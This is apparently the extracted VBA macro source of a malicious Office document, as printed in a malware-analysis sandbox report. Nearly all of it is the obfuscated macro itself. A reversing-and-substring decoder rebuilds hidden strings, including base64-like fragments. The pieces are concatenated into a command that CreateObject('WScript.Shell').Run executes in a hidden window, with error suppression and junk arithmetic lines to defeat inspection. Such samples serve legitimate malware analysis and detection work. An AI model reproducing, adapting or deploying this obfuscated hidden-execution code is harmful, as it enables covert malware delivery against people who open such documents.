wMalBjjGoi.hPcJwFwNaJFPoiVjtrwcljGCC
PjYwvSfIUi = fshu3bbnabn3("RT[Jd8M]7djf)TAQMAECN", 3, 5)
wMalBjjGoi.hPcJwFwNaJFPoiVjtrwcljGCC
vWhwwhFww.RFbLpqKPETWzlEklHjTXBKZO
svwqMEjhw = fshu3bbnabn3("KMMIY2Bmzj_8dUGA4AgZAUGA4AwMAIGAjBgYAUGA4AgNAEGA0AQOAUGA0AQMAIGA5AgZAgDA2AAMAUGAxAgNAIDA4AgYAEGA3AgMAQDAlBAOAgDA2AwYAUDA0AQZAUDAyAAhqipT]C<jzM", 12, 118)
vWhwwhFww.RFbLpqKPETWzlEklHjTXBKZO
ZMKsMqTPSw.uwraCBGLnNzHvwVLJWmwsvXkUkq
wETvZEaB = fshu3bbnabn3("@Cv#z94KMM2)i(f7W 3RVEAgZAIGA0AwYAYDA1AQYAUDA0AQNAUDA4AQOAADA3AQNl44LP%M", 8, 43)
ZMKsMqTPSw.uwraCBGLnNzHvwVLJWmwsvXkUkq
opGTGGzHzE.hXjfwaPoJtrwuJt
aTSdp = fshu3bbnabn3("]qPiv7Nv[QDAhBAZAYDAmBQYAQDAlBAZAIDAiBQYAEGA2AwMAUGAhBYE]ti<o#D2_k<THnZMztpT3%q[%jv", 30, 45)
opGTGGzHzE.hXjfwaPoJtrwuJt
RbrrrnQRCiG.EqjiPwzmAsRsKBdRcJwLGnUvDYUl
YLuGWH = fshu3bbnabn3("qqV<%EmznvVNjjWHHq[AEGAyEnc", 4, 5)
RbrrrnQRCiG.EqjiPwzmAsRsKBdRcJwLGnUvDYUl
JpHqbJKzLqkcWC = TflzNJwAbd + QnsmpLpKCjDBtR + XzPdLrUdfGwi + ChrW(34) + ZzhrJzotjuqQ + vMBCW + TqjBfNhEE + iYwKE + THNfcSXlT + HYJoYPsMu + GjVuqSpW + NODIKQ + MpajG + inoOVh + PwioR + NLhwNPbcnq + qvIcAaiSUEz + wUVqiWzVj + svwqMEjhw + SwkWvnN + PjYwvSfIUi + imjctZOOj + tlwVd + UhDSYvzKsi + CbFjFoscJjq + qEPncROYjq + XZFzz + zlBzErpJM + bnLdzjPYk + jtuFldqhIDD + huIEFjGUU + EbULQdQ + wIDcGM + oUXwEiJib + HirOXiwfHCZ + jOIbKZnuGw + jfwAz + hqkTwQhshnw + wETvZEaB + YLuGWH + rsGVzFK + VMGIz + QjGQR + XwpEAj + QQZVj + VjmYiR + aTSdp + UItGp + QWTbTYcX + TCuDGo + nLWBq + UAVVRdHFJcc + MHBOWnRH + dIkPpWzrJVa + WOzNqLjMqci + ZvLJIASHkS + DZfYHOcwOqz + GsmriBijnJK + kDSKjwVVAF + jFkDjtSmzz + oqtmnK + waCclq + WJivREq
WoaqcLojF = GUqoH * ZvJMV / VEqccw - Round(5320501 * CSng(8760693 * CInt(rzuS)) + bsbpE - Round(dAsNB)) - 544 / sOTol + ukSWz / Rnd(jqILQP) * (3894333 / CDbl(9161343) + (kwhTT / CByte(1564549 / CDbl(7718473) - 1563599 / 4021301)))
End Function

Attribute VB_Name = "umQEDXKj"
Sub fqNwGvZ(uXMjwDOrQwMAjh As String)
On Error Resume Next
ksRtRnvIT = LfNS * FDGjN / OSwGq - Round(4435951 * CSng(5663493 * CInt(SGXs)) + kWDPEQ - Round(iIua)) - 544 / zbHK + zozJ / Rnd(ZTnaP) * (3393399 / CDbl(1380420) + (znnV / CByte(6563885 / CDbl(1683948) - 293738 / 7721539)))
CSzqFYXur = WqSJiv * Ozkbd / wbIz - Round(7417320 * CSng(4663370 * CInt(twJMu)) + zSPBv - Round(jUvQin)) - 544 / snTL + MYRD / Rnd(zblW) * (2645394 / CDbl(243592) + (jFOMz / CByte(2842087 / CDbl(9807175) - 9236078 / 7776958)))
itjAKZJhf = amsAVF * DRZKWV / XkcZs - Round(9061313 * CSng(4800790 * CInt(Pcdil)) + FYRD - Round(XakoFs)) - 544 / DLhW + MYMca / Rnd(kokQFX) * (2937516 / CDbl(4391079) + (TqwtHG / CByte(6150494 / CDbl(9599045) - 8597436 / 7517982)))
vXjlrNntw = GYai * hPFGV / ZiBn - Round(2379776 * CSng(2523983 * CInt(OXjaTp)) + ZDDsD - Round(iQFkv)) - 544 / TSar + rXZWo / Rnd(zfAAf) * (5343589 / CDbl(7069401) + (FkABi / CByte(2314594 / CDbl(2509947) - 671031 / 499415)))
jJcRsvtUn = GjwPI * YFNCSw / UDqjTR - Round(9212826 * CSng(6048300 * CInt(nVqN)) + NFjG - Round(rwizI)) - 544 / rQFGz + kkUH / Rnd(CPaD) * (8476755 / CDbl(46003) + (vbZvYL / CByte(9937851 / CDbl(5707918) - 9282767 / 7466124)))
CreateObject("WScript.Shell").Run sqGhLb + uXMjwDOrQwMAjh + qYNmk + sEADUf, vbHide
czvlBhvws = HVEzcc * GVDz / BbfI - Round(8122381 * CSng(3557463 * CInt(UKwI)) + KIwF - Round(zQiI)) - 544 / RrindQ + tiRjYz / Rnd(Fsrct) * (4550093 / CDbl(6870764) + (MnmU / CByte(6065549 / CDbl(2299430) - 207043 / 4234020)))
mUvFKoaCo = hQOrkl * cAMH / kkMGiu - Round(140521 * CSng(1859062 * CInt(asLiLd)) + KRSooH - Round(SwVDAJ)) - 544 / LoOz + KtDJfC / Rnd(BGYCM) * (4790515 / CDbl(1591277) + (SjtSz / CByte(5678030 / CDbl(8925275) - 8714384 / 2040404)))
JrzAhPEzf = SzHHn * JGjutI / splcu - Round(9189234 * CSng(68436 * CInt(QAsA)) + CiTrTE - Round(zpVLb)) - 544 / fpXL + QAMHKw / Rnd(JBiUCz) * (2773493 / CDbl(1364241) + (kimrao / CByte(5249296 / CDbl(6377391) - 576302 / 3943516)))
End Sub
Function XzPdLrUdfGwi()
On Error Resume Next
clrAPnJHWVw.wGNtHJOuMMSKwjJPAotZZwfjVsWau
ZnMlDjPzn = fshu3bbnabn3("qV51(Fl#Nl]]ltvazr% tn[MsTBZ0I7o", 12, 6)
clrAPnJHWVw.wGNtHJOuMMSKwjJPAotZZwfjVsWau
mjhTUwlMjO.UDuaMSJuaBbwpUlzRKXHZdMvdWzh
GnQrfAjPuY = fshu3bbnabn3("bUk]mli=%EiFw4u qS]Sz#N]%2r7Pin(q<6jb(CoS[", 34, 5)
mjhTUwlMjO.UDuaMSJuaBbwpUlzRKXHZdMvdWzh
ZccvnfmXr.QQurwsLBQUqDuqNEAOTUSCVjmk
jWGcQVM = fshu3bbnabn3("jv$2bHQz=%iMTwkLq1GO", 5, 10)
ZccvnfmXr.QQurwsLBQUqDuqNEAOTUSCVjmk
zAjJkfzuMLd.aSzREfXjBWRdctnfQoCDrMVFAztw
AQjOHNZNXMV = fshu3bbnabn3("Pz3jT7H!)mWWpT%[TCF]%k&&!%JYLhEYAqVFbpV3kl8PSfM5_NqD", 15, 16)
zAjJkfzuMLd.aSzREfXjBWRdctnfQoCDrMVFAztw
pbWOWwAQt.MLzHSkFbivEciMcv
dskunhtFii = fshu3bbnabn3("lWX9]VwTtUkdPhHk%wMd_lbvcC[NLpP_nTHlPqW8mNjbH(@G", 34, 10)
pbWOWwAQt.MLzHSkFbivEciMcv
rRaGWSJtLK.WsfKUfcmVZzdUjSFB
waodXJPq = fshu3bbnabn3("Nlw)TNpjDClElMT$HNn0vRoE(G][wGN1", 23, 6)
rRaGWSJtLK.WsfKUfcmVZzdUjSFB
sQjDowFoZs.jIwmZXwPznfjvU
fajVDOQXQ = fshu3bbnabn3("(PhC tes&&zS_HMLTcPjHd", 12, 7)
sQjDowFoZs.jIwmZXwPznfjvU
DiRZwOWCRsZr.PbiJEDJdwcVSnlEGDFQLYuvodK
jpKPF = fshu3bbnabn3("bfQGNj@KoQwDMQBj=%dWKfDd@V(@7RkYm[7DJbw]", 17, 15)
DiRZwOWCRsZr.PbiJEDJdwcVSnlEGDFQLYuvodK
CzhiAQCGiE.odSwEwzKGMvcBkMWG
oYYXzhv = fshu3bbnabn3("%wNprcCNODwbt", 3, 3)
CzhiAQCGiE.odSwEwzKGMvcBkMWG
bRfLKErh.kWZiHhaCikTBGvaChq
hHIfF = fshu3bbnabn3("j6]YSWr9znZPEAs[W%Rtl tes&&LiVjcwwDRi7K<PKVtf3(N", 15, 13)
bRfLKErh.kWZiHhaCikTBGvaChq
SjprupkPpw.JNTGlwOdwffRBN
dbDGEw = fshu3bbnabn3("L<o=%CWckqLzKJbqHpJ%l8cDHj2(Juo4U", 14, 18)
SjprupkPpw.JNTGlwOdwffRBN
SzkAhJiQBfL.EjIjUSIvSzNoauwCiGmiWTKTzzQl
JdVptvMvrPu = fshu3bbnabn3("t$dl<p#IPi2j]#HtcjSXFUG9S6ZjTVhi7jbpV", 18, 1)
SzkAhJiQBfL.EjIjUSIvSzNoauwCiGmiWTKTzzQl
mIiLAcZwNT.TfEGqiVIqimMKajYhEjjEq
ufKbOwK = fshu3bbnabn3("AHqBtAoEdcE% tesSjoUR", 6, 11)
mIiLAcZwNT.TfEGqiVIqimMKajYhEjjEq
rMdlNTdcj.VfQzqkzVUmUjO
IltWjDtYQ = fshu3bbnabn3("Q(iNP3W(QX2NvS[A", 5, 1)
rMdlNTdcj.VfQzqkzVUmUjO
HlWuswHTUnj.GIDjJlvnYCYG
BpWKKwi = fshu3bbnabn3("QbvG9I0Q8z1m2iFHKX9<pOfWljH4", 6, 3)
HlWuswHTUnj.GIDjJlvnYCYG
oWCoXHKHO.PBMoGBjszBZa
FZlhpiB = fshu3bbnabn3("PXj@TbH_HANZ2zr<7]9AYof9QTbhXMMiVLIm=%miqOLkmPUbikvtT4<3z]", 10, 19)
oWCoXHKHO.PBMoGBjszBZa
wHXHOTrSYs.hKCnPLqtUHWzj
LhYmbf = fshu3bbnabn3("3(jll=%PW0qfb2qb5jjiPfu$At[F(oI7Mm", 27, 5)
wHXHOTrSYs.hKCnPLqtUHWzj
ljocEjWmic.NDJMIXmAjKTjjcdBwS
ZFzMCGUfCI = fshu3bbnabn3("uTlZ]bbkqLzKJbtvMw440[tpj$h", 14, 7)
ljocEjWmic.NDJMIXmAjKTjjcdBwS
skaMzsqwzCY.vbUmmIPGKdnHSzzKsKVMzALch
ZAbbEZk = fshu3bbnabn3("%%wb2dHF#NZA$HO%!=%OzVBK4dvqDtNr ]X%j6Z1oi", 19, 10)
skaMzsqwzCY.vbUmmIPGKdnHSzzKsKVMzALch
XhYAFrVnbn.WjMkVmLAwRZJniDdGQrdzBRRlDTR
UAVIqlN = fshu3bbnabn3("[jZf2KPt%!!%hjAMwQrbf5PiPo6]", 10, 12)
XhYAFrVnbn.WjMkVmLAwRZJniDdGQrdzBRRlDTR
aWjOEzzQE.wvcoHFLCOljwXZEKPb
NiwBcWpP = fshu3bbnabn3("$PMOzCQBYHcVAQmVD8Cn2", 11, 9)
aWjOEzzQE.wvcoHFLCOljwXZEKPb
QufYiLccv.bYiEwrqoHnzIzfwHSFtTzwkuXI
LuTTtHbRhk = fshu3bbnabn3("Y(qS]YCpfinH3WzTVm", 8, 2)
QufYiLccv.bYiEwrqoHnzIzfwHSFtTzwkuXI
WkLDpwriiwk.NXfaMSjilRMpXMCpwCWMwpAzkRcHU
hSkDzpcijbR = fshu3bbnabn3("SB.]z[(uZ@Fzr2MYr% teu9L$DQN2IvN", 12, 6)
WkLDpwriiwk.NXfaMSjilRMpXMCpwCWMwpAzkRcHU
OZfuYIrmZA.LHsXIOGdMCrpm
KpUdd = fshu3bbnabn3("zPk@f#3#$E8tuOAaTtwMi% tesoJ", 3, 14)
OZfuYIrmZA.LHsXIOGdMCrpm
abkaOlbdGjf.mdLhfKlLwAVXVnGRZGCav
RdXsFYiM = fshu3bbnabn3("Q4Ft(K!!%OzVBKfUzzvO%!&&WobiP1quMHqkDmEi9[jBTLFk5U", 27, 18)
abkaOlbdGjf.mdLhfKlLwAVXVnGRZGCav
ZGviwMXkNN.zfGaTrlOKVHI
OcThZJbdjO = fshu3bbnabn3("NizEHl7WjFAho]J(MPw$]_1W3(MR% tes&&s=%hjAMwQrASDEmqCH", 9, 18)
ZGviwMXkNN.zfGaTrlOKVHI
RnkJQTnnSn.PUkbCuOupjuAYiKZRNbXKBiIrXBS
lXnTCvLP = fshu3bbnabn3("ow6H@V$%OrQSs&&re=%ZvGwNqf%rP[@[hXnlkTPjJHvYPMt#J83[2p", 28, 15)
RnkJQTnnSn.PUkbCuOupjuAYiKZRNbXKBiIrXBS
DlWlNNQSJn.YltnbXHjiYVIbEpc
TBjCSO = fshu3bbnabn3("%iijAD%6#NFqJA% tes&&w5kf", 4, 12)
DlWlNNQSJn.YltnbXHjiYVIbEpc
bjLPVsklt.XCqDspzliDnfXAcCIoqcAAoElAtA
YvztXzK = fshu3bbnabn3("(hlJz$rScTTYDqD(ZhOH2TiiV1bj]KuW$n !MY", 3, 2)
bjLPVsklt.XCqDspzliDnfXAcCIoqcAAoElAtA
lJzmvrLEv.qQcfnaCQdJGfS
XUErzbrjT = fshu3bbnabn3("FvujhqdVqQu5$YDInToCIfXjzUTMYiJ", 24, 4)
lJzmvrLEv.qQcfnaCQdJGfS
MJrBYbZCu.SlGdGQpsbYOZDPFJMWYOlO
CcaGnitdRo = fshu3bbnabn3("fvM_MHYjl)Ci0vK2Pvn(vbcRasE(kYbNE", 8, 6)
MJrBYbZCu.SlGdGQpsbYOZDPFJMWYOlO
GjwSKFcPOu.jFFKSODSURktmGLIcCNid
jfUoJsE = fshu3bbnabn3("cStMd$uu% tes&&!%CWcNY[rYi", 7, 13)
GjwSKFcPOu.jFFKSODSURktmGLIcCNid
JnLMKzSdkqX.hNukaMzatKtSM
tAOjidDM = fshu3bbnabn3("N]bPM7KK00)5X6YUWSjMXu%!!%ZvGwlKC", 4, 12)
JnLMKzSdkqX.hNukaMzatKtSM
lGLLSKilHC.aoPwjpTcjWhpEvbmRITmKZwQVRiRG
SDVtHPMXFWD = fshu3bbnabn3("cjVtYQtjYl tes&&p=%JYLhEYHM)YH%mw", 9, 15)
lGLLSKilHC.aoPwjpTcjWhpEvbmRITmKZwQVRiRG
JDjQQTiGM.lwABXoHnzMUUsIYPPiFEFBBJRklN
dkuDEPFYY = fshu3bbnabn3("VWAqVFbpO%uOt]5PYSpX%(uf1SQkHvC7nTzT%oT", 30, 8)
JDjQQTiGM.lwABXoHnzMUUsIYPPiFEFBBJRklN
hjMXCORVLi.SivCtfSkunfarkL
TwGOoiHP = fshu3bbnabn3("wIm7YMHhHt% tes&&TwjqkVTI4Of4<Mp", 13, 13)
hjMXCORVLi.SivCtfSkunfarkL
oPCkEDnFMuMi.ahsQhvhdWkQVL
KPifiD = fshu3bbnabn3("lzO(<Qq2UfODwjM2EW@Qk9d", 9, 5)
oPCkEDnFMuMi.ahsQhvhdWkQVL
nPHiIwtS.lNijlProdnissnjCDzvZFFAZc
XEPdcArEd = fshu3bbnabn3("QYH[%lqf%!!%aisiZOwfYr%5f_L9b#wu.ddvz", 15, 17)
nPHiIwtS.lNijlProdnissnjCDzvZFFAZc
PqDBrBmaE.hMzpwjfOWcvLfHQDPpjcZ
mboMtTEU = fshu3bbnabn3("Aq%f#n%fUzzvO% tes&&zfNUvB(6j[Xf", 11, 15)
PqDBrBmaE.hMzpwjfOWcvLfHQDPpjcZ
wVPbwOPuta.obDbtWYJSkOMRSfSBPAbkRXibswi
wGlBmUwz = fshu3bbnabn3("(USH$jlvdqP]pVHwYHUqHpJ%!=%aisiZOwf ", 2, 16)
wVPbwOPuta.obDbtWYJSkOMRSfSBPAbkRXibswi
FncmutFurn.ZaHWhDdDEdhloTAAFKQf
kKjjqErw = fshu3bbnabn3("$$ZMLSHLj%PTNpjDCazr%!!%n@5NB8Qfr1F@H]0VHjNd1R", 23, 15)
FncmutFurn.ZaHWhDdDEdhloTAAFKQf
EcHPEoqELDz.octfkYJcEnpLwKhuVj
rwBkf = fshu3bbnabn3("fucijes&&eh=%VwTtUkdPVunS(bM(pv", 11, 16)
EcHPEoqELDz.octfkYJcEnpLwKhuVj
XzPdLrUdfGwi = ufKbOwK + NiwBcWpP + GnQrfAjPuY + XUErzbrjT + fajVDOQXQ + dkuDEPFYY + SDVtHPMXFWD + dbDGEw + TBjCSO + FZlhpiB + mboMtTEU + ZAbbEZk + AQjOHNZNXMV + KpUdd + jpKPF + hHIfF + lXnTCvLP + hSkDzpcijbR + wGlBmUwz + ZFzMCGUfCI + jfUoJsE + JdVptvMvrPu + KPifiD + OcThZJbdjO + LuTTtHbRhk + CcaGnitdRo + jWGcQVM + BpWKKwi + TwGOoiHP + rwBkf + ZnMlDjPzn + waodXJPq + LhYmbf + RdXsFYiM + XEPdcArEd + IltWjDtYQ + tAOjidDM + oYYXzhv + UAVIqlN + dskunhtFii + kKjjqErw + YvztXzK
wVwszzGam = htaf * iNzH / iupKz - Round(7794453 * CSng(3393583 * CInt(Fdtw)) + fHbUv - Round(tZKlz)) - 544 / LNKKUw + nwzBjn / Rnd(IiCUJQ) * (7240006 / CDbl(2025405) + (XYJSSN / CByte(9737478 / CDbl(4658141) - 1766384 / 8158827)))
End Function

Attribute VB_Name = "BoPKiFBbzbu"
Function TflzNJwAbd()
On Error Resume Next
EWjWuYjXsdp.jXhikzNQvWtFAdBtGS
YNOOpJAQTwY = fshu3bbnabn3("NV7WmqT      c/         V/ fjczb4Pij)TfS((Dz8cS", 21, 20)
EWjWuYjXsdp.jXhikzNQvWtFAdBtGS
icETtOLhoJTC.wiSGDjrGjBtkBFBvWPSMZGwT
qzYGzDrnw = fshu3bbnabn3("#HvYMAmEIN#CIo^C%       %cEpwd8jTbDZZV%E", 13, 15)
icETtOLhoJTC.wiSGDjrGjBtkBFBvWPSMZGwT
dqiZVhcniai.kFzDzbkuYIpMDvmj
EFGFKBb = fshu3bbnabn3("NcJzA1d<H.AXc     0__Wr", 6, 5)
dqiZVhcniai.kFzDzbkuYIpMDvmj
rJXQEFQmW.qUwanjOVzZHDtBqmVuvpwIDmTFqMh
BGRRQormG = fshu3bbnabn3("Ez CvVzQLTRZihlEhViXt2XVk$jMNF(", 13, 17)
rJXQEFQmW.qUwanjOVzZHDtBqmVuvpwIDmTFqMh
qoBuFVhvEm.uAJEvHGTIBCOupfow
iijIM = fshu3bbnabn3("tF           %cEp^S^m9pqjW$cHi%2jV4]j<q zz8WuwrckqT", 31, 19)
qoBuFVhvEm.uAJEvHGTIBCOupfow
uBBpwuGmH.tCabnOLAiruC
piCcSnG = fshu3bbnabn3("_!9tZd2<K^S^mo^C%     & OicHES[", 6, 17)
uBBpwuGmH.tCabnOLAiruC
AXzwdzdjdEk.YjAFiLASDiKoiYrIMjnXavIZp
GdqdQzpZ = fshu3bbnabn3("DKjU HFKDRCNh dmcYd#fL$9m]MkbNVRmwHZ", 20, 14)
AXzwdzdjdEk.YjAFiLASDiKoiYrIMjnXavIZp
TuEoQXRJLGk.LMmEtSzduJCwacZXRIZ
lSzIVRzPunu = fshu3bbnabn3("s9%or4WWdOLqosMpir#<", 4, 8)
TuEoQXRJLGk.LMmEtSzduJCwacZXRIZ
TflzNJwAbd = GdqdQzpZ + BGRRQormG + lSzIVRzPunu + piCcSnG + qzYGzDrnw + iijIM + YNOOpJAQTwY + EFGFKBb
NpikScrtu = sYQmwY * GDMoUO / lCpqv - Round(9214301 * CSng(8970151 * CInt(ChXjhc)) + cBZFi - Round(lmMi)) - 544 / bQNw + sbEzQn / Rnd(zwFA) * (4076105 / CDbl(6768728) + (QqUm / CByte(5356788 / CDbl(1963610) - 2863884 / 2956536)))
End Function

Attribute VB_Name = "XFJDCcnXwU"
Function fshu3bbnabn3(ByVal OvzzUfKBVzO As String, rzaCDjpNTP, tHhPdkUtTwV)
On Error Resume Next
GvKlTXbZf = pWlV * UlzvmH / pKPlQ - Round(7246361 * CSng(4775835 * CInt(Pwdj)) + UAzli - Round(awqiAU)) - 544 / RiqpcK + jFzV / Rnd(GqAao) * (8722736 / CDbl(8656557) + (oRTn / CByte(2317387 / CDbl(3385406) - 7455227 / 6286139)))
bzjORcUqN = UTTzO * bCXJ / VBkHP - Round(9984109 * CSng(9954557 * CInt(CdKX)) + IFTHQ - Round(VJNOZ)) - 544 / lqCTL + udGF / Rnd(vGBcUc) * (2026389 / CDbl(9237960) + (wmpJ / CByte(6349072 / CDbl(3961204) - 7329709 / 8687330)))
nQImLiiJz = qUQuaC * XAPB / hCSP - Round(5659490 * CSng(9797117 * CInt(tmrX)) + pqwL - Round(YXTXhT)) - 544 / tCMnB + UXrm / Rnd(FUwEfI) * (730490 / CDbl(1545405) + (zPEjFw / CByte(7657931 / CDbl(5363831) - 8344852 / 6595463)))
WtqtJRrUHii = AjrWbmNrdX + StrReverse(OvzzUfKBVzO) + JCHrrnUsKTZTdd
u3ugkj = chFVsfJIiWcads + Mid(WtqtJRrUHii, rzaCDjpNTP, tHhPdkUtTwV) + MiczFBcOEAHwYK
aPNsiKfmH = UAtYU * NqzO / urfY - Round(9099857 * CSng(9985352 * CInt(AVkjl)) + HHOhzi - Round(ZWwd)) - 544 / IDtq + RzJCfX / Rnd(UiKMl) * (7414716 / CDbl(9039670) + (OvQNzf / CByte(8363457 / CDbl(3301004) - 9676471 / 6480432)))
XuCSnwZJi = hbwcj * NQYDo / BqrMmf - Round(8278838 * CSng(1433452 * CInt(hLUIc)) + CvNmb - Round(bFnw)) - 544 / dSRasu + nsMaaJ / Rnd(SatzQb) * (3828894 / CDbl(1347155) + (LVKR / CByte(2391065 / CDbl(6174089) - 5014383 / 6961870)))
EOzBYpwpQ = UjTbV * sIdi / WXUW - Round(3487124 * CSng(1248086 * CInt(hdhH)) + bWMLs - Round(luKzAz)) - 544 / jkzGY + Crih / Rnd(ciGjsH) * (7645564 / CDbl(8885472) + (RsEI / CByte(8544070 / CDbl(39573) - 2729970 / 8520142)))
nvXXVzlWG = EdEbz * VjNoCC / LFlF - Round(7802801 * CSng(6158736 * CInt(OYpKEi)) + TGfU - Round(mfjQ)) - 544 / quPn + mZql / Rnd(LRktwq) * (2924818 / CDbl(2605239) + (ouWPi / CByte(449615 / CDbl(5416883) - 6578537 / 3820044)))
fshu3bbnabn3 = PXcpcPuQDElP + u3ugkj + SpzCWlXW
XSEcOTikk = EFAVV * cIdCZL / tYaE - Round(5036866 * CSng(6009007 * CInt(FwwS)) + FXMNwP - Round(SXhJT)) - 544 / TQZOHV + LJKEoO / Rnd(FkbH) * (1871733 / CDbl(6537112) + (QLPuh / CByte(7476253 / CDbl(8585122) - 8575705 / 7225328)))
MOGHGOarp = VjvMI * hLbiv / AlTDF - Round(2034899 * CSng(3903492 * CInt(iETXw)) + hHwqKk - Round(iMwUw)) - 544 / UzbR + pmOV / Rnd(CJPXPs) * (3116104 / CDbl(2562054) + (OSsaN / CByte(7124164 / CDbl(4628964) - 2286054 / 1438093)))
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.